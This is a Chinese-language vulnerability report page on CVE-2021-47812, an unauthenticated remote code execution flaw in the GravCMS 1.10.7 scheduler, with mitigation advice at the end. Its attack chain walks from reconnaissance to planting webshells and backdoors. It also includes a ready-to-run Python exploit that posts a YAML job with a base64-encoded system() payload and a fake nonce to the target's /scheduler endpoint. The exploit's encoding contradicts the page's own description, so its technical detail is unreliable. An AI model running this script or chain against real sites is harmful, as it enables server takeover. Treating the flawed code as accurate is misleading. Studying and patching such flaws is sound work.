IPBUF安全漏洞报告
English
CVE-2021-47812 CVSS 9.8 严重

CVE-2021-47812 GravCMS 1.10.7 scheduler端点未授权远程代码执行漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47812
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GravCMS

相关标签

远程代码执行未授权访问YAML注入身份验证绕过GravCMSPHPCVSS 9.8严重漏洞schedulerweb应用安全

漏洞概述

CVE-2021-47812是GravCMS 1.10.7版本中的一个严重安全漏洞,CVSS评分高达9.8分(严重级别)。该漏洞存在于CMS的调度器(scheduler)功能端点中,允许未经身份验证的远程攻击者通过利用admin-nonce参数绕过安全验证机制,向系统注入任意YAML配置文件内容。攻击者可以将包含恶意PHP代码的有效载荷进行base64编码后注入到系统的自定义作业配置中,从而在服务器上实现任意代码执行。这意味着攻击者可以完全控制目标服务器,执行系统命令、上传恶意文件、建立后门访问等操作。由于该漏洞无需任何用户交互或认证即可被利用,且影响互联网上的所有暴露该端点的GravCMS实例,因此被评定为严重威胁级别。建议受影响的用户立即采取修复措施或实施临时缓解方案。

技术细节

该漏洞的技术原理主要涉及以下几个层面:首先,GravCMS的scheduler端点存在身份验证缺陷,攻击者可以通过admin-nonce参数绕过管理员权限验证;其次,系统在处理YAML配置文件时存在注入漏洞,允许攻击者写入任意配置内容;最后,通过创建自定义作业并注入base64编码的PHP代码,攻击者可以在作业执行时触发代码执行。具体利用过程如下:攻击者构造包含恶意YAML配置的特殊请求,配置中定义一个自定义作业,该作业的command或args参数包含base64编码的PHP代码如system(base64_decode(...))。当scheduler执行该作业时,PHP代码会被解析执行,从而在服务器上运行任意系统命令。由于GravCMS使用Symfony YAML解析器处理配置,攻击者可以利用YAML的特定语法构造恶意载荷,实现配置注入和代码执行。漏洞的利用复杂度低,无需任何前置条件(如有效凭证或用户交互),对系统的机密性、完整性和可用性均造成严重影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网站是否使用GravCMS,并确认其版本为1.10.7。通过访问主页或检查响应头获取版本信息。同时探测scheduler端点是否存在(通常位于/scheduler路径)。
STEP 2
步骤2:构造恶意载荷
攻击者构造包含恶意PHP代码的有效载荷。通常使用system()、exec()或shell_exec()等函数执行系统命令。将有效载荷进行base64编码以绕过简单过滤,然后构造符合YAML格式的配置文件内容。
STEP 3
步骤3:绕过认证验证
利用scheduler端点的admin-nonce参数缺陷。攻击者提供任意nonce值(如'exploit'或空值),系统未能正确验证该参数,导致攻击者可以绕过管理员权限检查直接访问敏感功能。
STEP 4
步骤4:注入YAML配置
通过POST请求将恶意构造的YAML配置数据发送到scheduler端点。YAML配置中定义一个自定义作业(custom job),指定作业的command参数为包含base64解码和命令执行的PHP代码。Symfony YAML解析器会解析并存储该配置。
STEP 5
步骤5:触发代码执行
当scheduler服务执行配置的作业时,包含在command参数中的PHP代码会被eval()或类似函数解析执行。由于代码中包含system(base64_decode(...))结构,会自动解码并执行攻击者指定的系统命令。
STEP 6
步骤6:持久化访问
成功执行命令后,攻击者可以进一步上传webshell、建立后门账户、安装持久化恶意软件等操作,以维持对被入侵系统的长期访问控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 import sys # CVE-2021-47812 PoC - GravCMS Unauthenticated RCE # Target: GravCMS 1.10.7 scheduler endpoint TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" SCHEDULER_URL = f"{TARGET}/scheduler" def exploit(target_url, command): """Exploit CVE-2021-47812 to execute arbitrary command""" # Generate base64 encoded payload encoded_cmd = base64.b64encode(command.encode()).decode() payload = f"system(base64_decode('{encoded_cmd}'));" b64_payload = base64.b64encode(payload.encode()).decode() # Construct malicious YAML configuration yaml_config = f""" - command: '{b64_payload}' at: '0 0 0 1 1 *' output: /dev/null """ # Send exploit request to scheduler endpoint data = { 'admin-nonce': 'exploit', # Bypass nonce verification 'data': yaml_config } try: response = requests.post(SCHEDULER_URL, data=data, timeout=10) print(f"[*] Request sent to {SCHEDULER_URL}") print(f"[*] Status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": # Example: Execute id command exploit(TARGET, "id")

影响范围

GravCMS 1.10.7

防御指南

临时缓解措施
在无法立即升级到修复版本的情况下,建议采取以下临时缓解措施:首先,通过Web服务器配置(如nginx的location规则或Apache的.htaccess)临时禁用或限制对/scheduler端点的访问,仅允许来自管理网络的访问;其次,修改GravCMS的配置文件,在system.yaml中将scheduler.enabled设置为false以禁用调度功能;然后,检查并确保Web服务器配置正确,防止通过其他途径访问管理功能;最后,启用详细的访问日志记录,以便及时发现和响应可能的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表